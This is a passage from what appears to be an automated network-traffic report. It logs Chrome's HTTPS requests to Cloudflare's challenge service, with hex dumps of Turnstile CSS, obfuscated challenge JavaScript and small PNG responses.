2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49725	104.18.94.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:43 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f3fa3fe4ef88c24&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:44 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:43 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 120190 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f3fa4091f2a423b-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:53:44 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 53 79 57 4f 55 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.SyWOU3={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"http
2024-12-18 13:53:44 UTC	1369	IN	Data Raw: 79 69 6e 67 22 3a 22 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 Data Ascii: ying":"Verifying...","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_timeout":"Timed%20out","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%
2024-12-18 13:53:44 UTC	1369	IN	Data Raw: 2c 67 33 2c 67 34 2c 67 37 2c 67 38 2c 67 79 2c 67 7a 2c 67 44 2c 67 45 2c 67 35 2c 67 36 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 37 35 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 31 38 29 29 2f 32 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 34 34 29 29 2f 33 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 32 34 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 32 32 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 37 32 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 38 39 29 29 2f 37 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: ,g3,g4,g7,g8,gy,gz,gD,gE,g5,g6){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1275))/1+parseInt(gI(1018))/2+parseInt(gI(444))/3*(parseInt(gI(1124))/4)+parseInt(gI(1322))/5+-parseInt(gI(1472))/6+parseInt(gI(1189))/7+-parseInt(gI(
2024-12-18 13:53:44 UTC	1369	IN	Data Raw: 75 72 6e 20 68 28 69 29 7d 2c 27 4f 6e 55 74 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 5e 69 7d 2c 27 66 42 54 79 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 47 51 77 42 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 58 6f 52 75 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 54 71 6a 52 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 5a 63 74 76 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 43 78 73 73 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 4d 48 49 Data Ascii: urn h(i)},'OnUtb':function(h,i){return h^i},'fBTye':function(h,i){return h==i},'GQwBD':function(h,i){return i==h},'XoRuy':function(h,i){return i!=h},'TqjRy':function(h,i){return h&i},'Zctvn':function(h,i){return h*i},'CxssU':function(h,i){return i&h},'MHI
2024-12-18 13:53:44 UTC	1369	IN	Data Raw: 32 32 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4f 3d 31 2c 73 3d 30 3b 64 5b 67 4d 28 35 39 32 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 67 4d 28 32 37 31 29 5d 28 48 3c 3c 31 2c 4f 29 2c 64 5b 67 4d 28 31 34 34 37 29 5d 28 49 2c 64 5b 67 4d 28 31 31 39 30 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 35 31 34 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4f 3d 43 5b 67 4d 28 32 32 37 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 67 4d 28 31 35 31 36 29 5d 28 31 36 2c 73 29 3b 48 3d 64 5b 67 4d 28 31 33 35 33 29 5d 28 64 5b 67 4d 28 31 36 32 30 29 5d 28 48 2c 31 29 2c 4f 26 31 2e 32 31 29 2c 49 3d 3d 64 5b 67 4d 28 31 31 39 30 29 5d 28 6a Data Ascii: 22)](o,H)),H=0):I++,O>>=1,s++);}else{for(O=1,s=0;d[gM(592)](s,F);H=d[gM(271)](H<<1,O),d[gM(1447)](I,d[gM(1190)](j,1))?(I=0,G[gM(514)](o(H)),H=0):I++,O=0,s++);for(O=C[gM(227)](0),s=0;d[gM(1516)](16,s);H=d[gM(1353)](d[gM(1620)](H,1),O&1.21),I==d[gM(1190)](j
2024-12-18 13:53:44 UTC	1369	IN	Data Raw: 67 4d 28 31 33 30 38 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 35 31 34 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 64 5b 67 4d 28 33 31 37 29 5d 28 49 2c 6a 2d 31 29 29 7b 47 5b 67 4d 28 35 31 34 29 5d 28 64 5b 67 4d 28 37 38 30 29 5d 28 6f 2c 48 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 49 2b 2b 3b 72 65 74 75 72 6e 20 47 5b 67 4d 28 31 32 32 35 29 5d 28 27 27 29 7d 65 6c 73 65 20 66 6f 72 28 52 3d 67 4d 28 36 37 38 29 5b 67 4d 28 31 34 30 31 29 5d 28 27 7c 27 29 2c 53 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 52 5b 53 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 69 66 28 21 43 29 72 65 74 75 72 6e 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 Data Ascii: gM(1308)](I,j-1)?(I=0,G[gM(514)](o(H)),H=0):I++,O>>=1,s++);for(;;)if(H<<=1,d[gM(317)](I,j-1)){G[gM(514)](d[gM(780)](o,H));break}else I++;return G[gM(1225)]('')}else for(R=gM(678)[gM(1401)]('\|'),S=0;!![];){switch(R[S++]){case'0':if(!C)return;continue;case'
2024-12-18 13:53:44 UTC	1369	IN	Data Raw: 54 28 31 31 39 32 29 5d 28 62 59 2c 62 5a 29 5d 3a 45 3d 28 45 3d 63 43 5b 63 44 2d 32 5d 2c 45 3d 6b 5b 67 54 28 35 34 30 29 5d 28 6b 5b 67 54 28 31 36 32 39 29 5d 28 63 45 2c 45 2c 31 37 29 2c 63 46 28 45 2c 31 39 29 29 5e 45 3e 3e 3e 31 30 2c 45 3d 6b 5b 67 54 28 36 37 36 29 5d 28 63 47 2c 45 2c 63 48 5b 63 49 2d 37 5d 29 2c 46 3d 63 4a 5b 63 4b 2d 31 35 5d 2c 46 3d 6b 5b 67 54 28 35 34 30 29 5d 28 6b 5b 67 54 28 33 34 36 29 5d 28 63 4c 28 46 2c 37 29 2c 63 4d 28 46 2c 31 38 29 29 2c 6b 5b 67 54 28 31 32 35 38 29 5d 28 46 2c 33 29 29 2c 63 4e 28 63 4f 28 45 2c 46 29 2c 63 50 5b 63 51 2d 31 36 5d 29 29 3b 63 41 3d 28 63 66 5b 44 5d 3d 45 2c 44 3d 73 2c 44 3d 63 67 28 44 2c 36 29 5e 63 68 28 44 2c 31 31 29 5e 6b 5b 67 54 28 31 36 32 39 29 5d 28 63 69 2c Data Ascii: T(1192)](bY,bZ)]:E=(E=cC[cD-2],E=k[gT(540)](k[gT(1629)](cE,E,17),cF(E,19))^E>>>10,E=k[gT(676)](cG,E,cH[cI-7]),F=cJ[cK-15],F=k[gT(540)](k[gT(346)](cL(F,7),cM(F,18)),k[gT(1258)](F,3)),cN(cO(E,F),cP[cQ-16]));cA=(cf[D]=E,D=s,D=cg(D,6)^ch(D,11)^k[gT(1629)](ci,
2024-12-18 13:53:44 UTC	1369	IN	Data Raw: 48 29 2c 48 3e 3e 3d 31 2c 64 5b 67 55 28 31 33 33 30 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 67 55 28 31 31 31 33 29 5d 28 64 5b 67 55 28 31 34 33 34 29 5d 28 30 2c 4c 29 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4d 3d 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 55 28 31 33 39 30 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 47 26 48 2c 48 3e 3e 3d 31 2c 64 5b 67 55 28 34 35 33 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 67 55 28 31 34 33 31 29 5d 28 30 2c 4c 29 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 64 5b 67 55 28 31 32 39 30 29 5d 28 65 2c 4a 29 2c 4d 3d 64 5b 67 55 Data Ascii: H),H>>=1,d[gU(1330)](0,H)&&(H=j,G=o(I++)),J\|=d[gU(1113)](d[gU(1434)](0,L)?1:0,F),F<<=1);switch(M=J){case 0:for(J=0,K=Math[gU(1390)](2,8),F=1;F!=K;L=G&H,H>>=1,d[gU(453)](0,H)&&(H=j,G=o(I++)),J\|=(d[gU(1431)](0,L)?1:0)*F,F<<=1);s[B++]=d[gU(1290)](e,J),M=d[gU
2024-12-18 13:53:44 UTC	1369	IN	Data Raw: 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 6b 3d 28 68 6d 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 6d 28 31 35 33 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 7d 2c 6a 5b 68 6d 28 36 37 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 7c 7c 48 7d 2c 6a 5b 68 6d 28 31 34 32 30 29 5d 3d 68 6d 28 37 34 39 29 2c 6a 5b 68 6d 28 39 33 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 68 6d 28 35 32 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 68 6d 28 31 35 35 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b Data Ascii: ,n,o,s,x,B,C,D,E,F){k=(hm=gJ,j={},j[hm(1539)]=function(G,H){return G instanceof H},j[hm(677)]=function(G,H){return G\|\|H},j[hm(1420)]=hm(749),j[hm(937)]=function(G,H){return G+H},j[hm(528)]=function(G,H){return G+H},j[hm(1550)]=function(G,H){return G+H},j[
2024-12-18 13:53:44 UTC	1369	IN	Data Raw: 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 2c 27 68 67 57 45 64 27 3a 68 6e 28 31 31 35 37 29 2c 27 6f 71 79 74 75 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 28 29 7d 2c 27 57 76 6a 6b 73 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 2c 27 73 4a 4c 64 53 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 7d 2c 27 54 5a 78 63 56 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 3d 3d 3d 6e 7d 2c 27 71 66 51 74 77 27 3a 68 6e 28 35 35 39 29 2c 27 69 69 45 6c 48 27 3a 68 6e 28 31 30 30 36 29 7d 2c 65 5b 68 6e 28 34 37 30 29 5d 28 64 2c 45 72 72 6f 72 Data Ascii: J':function(n,o,s){return n(o,s)},'hgWEd':hn(1157),'oqytu':function(n){return n()},'Wvjks':function(n,o,s){return n(o,s)},'sJLdS':function(n,o){return n instanceof o},'TZxcV':function(n,o){return o===n},'qfQtw':hn(559),'iiElH':hn(1006)},e[hn(470)](d,Error

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49726	104.18.94.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:43 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:44 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:44 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f3fa40a2d19c47f-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:53:44 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49728	104.18.95.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:45 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:45 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:45 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f3fa4148b5b7d14-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:53:45 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
